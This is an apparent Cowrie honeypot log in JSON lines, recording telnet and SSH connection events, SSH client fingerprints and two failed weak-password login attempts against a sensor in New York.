{"eventid":"cowrie.session.closed","duration":48.31685733795166,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:08.337569Z","src_ip":"188.208.141.113","session":"5df73fb3f8cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53892,"dst_ip":"10.17.0.5","dst_port":23,"session":"a120c1fd7e1b","protocol":"telnet","message":"New connection: 188.208.141.113:53892 (10.17.0.5:23) [session: a120c1fd7e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:08.896311Z"}
{"eventid":"cowrie.session.closed","duration":37.44051718711853,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:09.025010Z","src_ip":"64.227.9.242","session":"ac3fb77c2775","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.55518436431885,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:09.288299Z","src_ip":"64.227.9.242","session":"a2c37a0f6484","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.56763768196106,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:09.779629Z","src_ip":"188.208.141.113","session":"7e25cce75a3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48570,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f4fee805335","protocol":"telnet","message":"New connection: 188.208.141.113:48570 (10.17.0.5:23) [session: 2f4fee805335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:13.915591Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48572,"dst_ip":"10.17.0.5","dst_port":23,"session":"8345c4c738c0","protocol":"telnet","message":"New connection: 188.208.141.113:48572 (10.17.0.5:23) [session: 8345c4c738c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:15.927704Z"}
{"eventid":"cowrie.session.closed","duration":50.26993656158447,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:17.264338Z","src_ip":"188.208.141.113","session":"e2c7b2ec93b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.954349994659424,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:17.869796Z","src_ip":"188.208.141.113","session":"2f4fee805335","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.658740520477295,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:18.586312Z","src_ip":"188.208.141.113","session":"8345c4c738c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48574,"dst_ip":"10.17.0.5","dst_port":23,"session":"8760bec981b8","protocol":"telnet","message":"New connection: 188.208.141.113:48574 (10.17.0.5:23) [session: 8760bec981b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:19.887991Z"}
{"eventid":"cowrie.session.closed","duration":44.369595527648926,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:20.227311Z","src_ip":"188.208.141.113","session":"9b8f869a9b7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35336,"dst_ip":"10.17.0.5","dst_port":23,"session":"778286728e42","protocol":"telnet","message":"New connection: 188.208.141.113:35336 (10.17.0.5:23) [session: 778286728e42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:20.648070Z"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":40804,"dst_ip":"10.17.0.5","dst_port":22,"session":"6183336bc006","protocol":"ssh","message":"New connection: 1.235.192.214:40804 (10.17.0.5:22) [session: 6183336bc006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:22.226520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:22.231149Z","src_ip":"1.235.192.214","session":"6183336bc006","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:22.417284Z","src_ip":"1.235.192.214","session":"6183336bc006","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35338,"dst_ip":"10.17.0.5","dst_port":23,"session":"95c7cb9529ca","protocol":"telnet","message":"New connection: 188.208.141.113:35338 (10.17.0.5:23) [session: 95c7cb9529ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:22.601527Z"}
{"eventid":"cowrie.session.closed","duration":41.12990760803223,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:23.038494Z","src_ip":"188.208.141.113","session":"97ec7083ae76","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminffffff","message":"login attempt [root/adminffffff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:23.177863Z","src_ip":"1.235.192.214","session":"6183336bc006","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35340,"dst_ip":"10.17.0.5","dst_port":23,"session":"3371e4b67bbf","protocol":"telnet","message":"New connection: 188.208.141.113:35340 (10.17.0.5:23) [session: 3371e4b67bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:23.539665Z"}
{"eventid":"cowrie.session.closed","duration":3.2627112865448,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:23.910655Z","src_ip":"188.208.141.113","session":"778286728e42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.4540174007415771,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:24.055334Z","src_ip":"188.208.141.113","session":"95c7cb9529ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:24.361420Z","src_ip":"1.235.192.214","session":"6183336bc006","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":43230,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dcbe5bcf288","protocol":"telnet","message":"New connection: 64.227.9.242:43230 (159.203.135.109:23) [session: 2dcbe5bcf288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:24.632446Z"}
{"eventid":"cowrie.session.closed","duration":5.791139364242554,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:25.679005Z","src_ip":"188.208.141.113","session":"8760bec981b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.05546951293945,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:26.259548Z","src_ip":"64.227.9.242","session":"231236ee7487","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.35571551322937,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:26.895240Z","src_ip":"188.208.141.113","session":"3371e4b67bbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60430,"dst_ip":"10.17.0.5","dst_port":23,"session":"a48e82333d1e","protocol":"telnet","message":"New connection: 188.208.141.113:60430 (10.17.0.5:23) [session: a48e82333d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:31.532310Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60436,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4bcc7d693dc","protocol":"telnet","message":"New connection: 188.208.141.113:60436 (10.17.0.5:23) [session: a4bcc7d693dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:31.561772Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60444,"dst_ip":"10.17.0.5","dst_port":23,"session":"59bf0f8eb933","protocol":"telnet","message":"New connection: 188.208.141.113:60444 (10.17.0.5:23) [session: 59bf0f8eb933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:31.752878Z"}
{"eventid":"cowrie.session.closed","duration":35.460697650909424,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:31.897229Z","src_ip":"64.227.9.242","session":"03ec5dcf1e04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":51286,"dst_ip":"159.203.135.109","dst_port":23,"session":"81303802bf9a","protocol":"telnet","message":"New connection: 64.227.9.242:51286 (159.203.135.109:23) [session: 81303802bf9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:32.312120Z"}
{"eventid":"cowrie.session.closed","duration":32.53210639953613,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:32.424458Z","src_ip":"64.227.9.242","session":"6c1f486a6355","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.159515619277954,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:35.147951Z","src_ip":"64.227.9.242","session":"fdc679feee87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60448,"dst_ip":"10.17.0.5","dst_port":23,"session":"041806ae87ed","protocol":"telnet","message":"New connection: 188.208.141.113:60448 (10.17.0.5:23) [session: 041806ae87ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:35.330887Z"}
{"eventid":"cowrie.session.closed","duration":32.98076581954956,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:35.702143Z","src_ip":"64.227.9.242","session":"32abf2fda6a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.166248083114624,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:41.155324Z","src_ip":"64.227.9.242","session":"613b72bad759","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41972,"dst_ip":"10.17.0.5","dst_port":23,"session":"235ff950508d","protocol":"telnet","message":"New connection: 188.208.141.113:41972 (10.17.0.5:23) [session: 235ff950508d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:42.609399Z"}
{"eventid":"cowrie.session.closed","duration":55.591553688049316,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:43.368612Z","src_ip":"188.208.141.113","session":"8411bea19bf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41984,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e77d475f953","protocol":"telnet","message":"New connection: 188.208.141.113:41984 (10.17.0.5:23) [session: 5e77d475f953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:47.850797Z"}
{"eventid":"cowrie.session.closed","duration":5.72161602973938,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:48.330919Z","src_ip":"188.208.141.113","session":"235ff950508d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":40942,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bb71e625b9c","protocol":"telnet","message":"New connection: 64.227.9.242:40942 (159.203.135.109:23) [session: 8bb71e625b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:48.511956Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49576,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab96c9b79c4d","protocol":"telnet","message":"New connection: 188.208.141.113:49576 (10.17.0.5:23) [session: ab96c9b79c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:51.016010Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49586,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6fddaff6faa","protocol":"telnet","message":"New connection: 188.208.141.113:49586 (10.17.0.5:23) [session: b6fddaff6faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:52.032693Z"}
{"eventid":"cowrie.session.closed","duration":4.4826109409332275,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:52.333306Z","src_ip":"188.208.141.113","session":"5e77d475f953","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":45754,"dst_ip":"159.203.135.109","dst_port":23,"session":"6dffaa7fa0cf","protocol":"telnet","message":"New connection: 64.227.9.242:45754 (159.203.135.109:23) [session: 6dffaa7fa0cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:52.845289Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49588,"dst_ip":"10.17.0.5","dst_port":23,"session":"09ff36c35e01","protocol":"telnet","message":"New connection: 188.208.141.113:49588 (10.17.0.5:23) [session: 09ff36c35e01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:52.991464Z"}
{"eventid":"cowrie.session.closed","duration":44.4018189907074,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:34:53.297935Z","src_ip":"188.208.141.113","session":"a120c1fd7e1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.474302768707275,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:00.106637Z","src_ip":"64.227.9.242","session":"2dcbe5bcf288","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38112,"dst_ip":"10.17.0.5","dst_port":23,"session":"7aa2bedc76af","protocol":"telnet","message":"New connection: 188.208.141.113:38112 (10.17.0.5:23) [session: 7aa2bedc76af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:02.940921Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38118,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc41cd88db82","protocol":"telnet","message":"New connection: 188.208.141.113:38118 (10.17.0.5:23) [session: bc41cd88db82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:03.462152Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38120,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b49e0f82fc2","protocol":"telnet","message":"New connection: 188.208.141.113:38120 (10.17.0.5:23) [session: 9b49e0f82fc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:05.479379Z"}
{"eventid":"cowrie.session.closed","duration":35.69062161445618,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:08.002678Z","src_ip":"64.227.9.242","session":"81303802bf9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.901338577270508,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:08.363379Z","src_ip":"188.208.141.113","session":"bc41cd88db82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38126,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec4dd41f9b5a","protocol":"telnet","message":"New connection: 188.208.141.113:38126 (10.17.0.5:23) [session: ec4dd41f9b5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:13.672690Z"}
{"eventid":"cowrie.session.closed","duration":42.8421196937561,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:14.403778Z","src_ip":"188.208.141.113","session":"a4bcc7d693dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":59264,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0d13e464848","protocol":"telnet","message":"New connection: 188.208.141.113:59264 (10.17.0.5:23) [session: e0d13e464848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:17.525618Z"}
{"eventid":"cowrie.session.closed","duration":0.8937680721282959,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:18.419313Z","src_ip":"188.208.141.113","session":"e0d13e464848","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":48852,"dst_ip":"159.203.135.109","dst_port":23,"session":"04fa2aa64378","protocol":"telnet","message":"New connection: 64.227.9.242:48852 (159.203.135.109:23) [session: 04fa2aa64378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:21.950613Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40976,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a8b6191b129","protocol":"telnet","message":"New connection: 188.208.141.113:40976 (10.17.0.5:23) [session: 5a8b6191b129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:23.656534Z"}
{"eventid":"cowrie.session.closed","duration":52.62409973144531,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:24.376881Z","src_ip":"188.208.141.113","session":"59bf0f8eb933","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.930490255355835,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:24.462611Z","src_ip":"188.208.141.113","session":"a48e82333d1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.26338839530945,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:25.775263Z","src_ip":"64.227.9.242","session":"8bb71e625b9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.02895975112915,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:27.874132Z","src_ip":"64.227.9.242","session":"6dffaa7fa0cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":48410,"dst_ip":"10.17.0.5","dst_port":22,"session":"30ae3c852df9","protocol":"ssh","message":"New connection: 1.235.192.214:48410 (10.17.0.5:22) [session: 30ae3c852df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:28.738904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:28.742792Z","src_ip":"1.235.192.214","session":"30ae3c852df9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.774412393569946,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:28.790298Z","src_ip":"188.208.141.113","session":"ab96c9b79c4d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:28.928430Z","src_ip":"1.235.192.214","session":"30ae3c852df9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"svnuser","password":"123456","message":"login attempt [svnuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:29.704664Z","src_ip":"1.235.192.214","session":"30ae3c852df9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.58331060409546,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:29.914043Z","src_ip":"188.208.141.113","session":"041806ae87ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.733553647994995,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:30.766122Z","src_ip":"188.208.141.113","session":"b6fddaff6faa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:30.892274Z","src_ip":"1.235.192.214","session":"30ae3c852df9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34276,"dst_ip":"10.17.0.5","dst_port":23,"session":"7903fd4562b4","protocol":"telnet","message":"New connection: 188.208.141.113:34276 (10.17.0.5:23) [session: 7903fd4562b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:32.254870Z"}
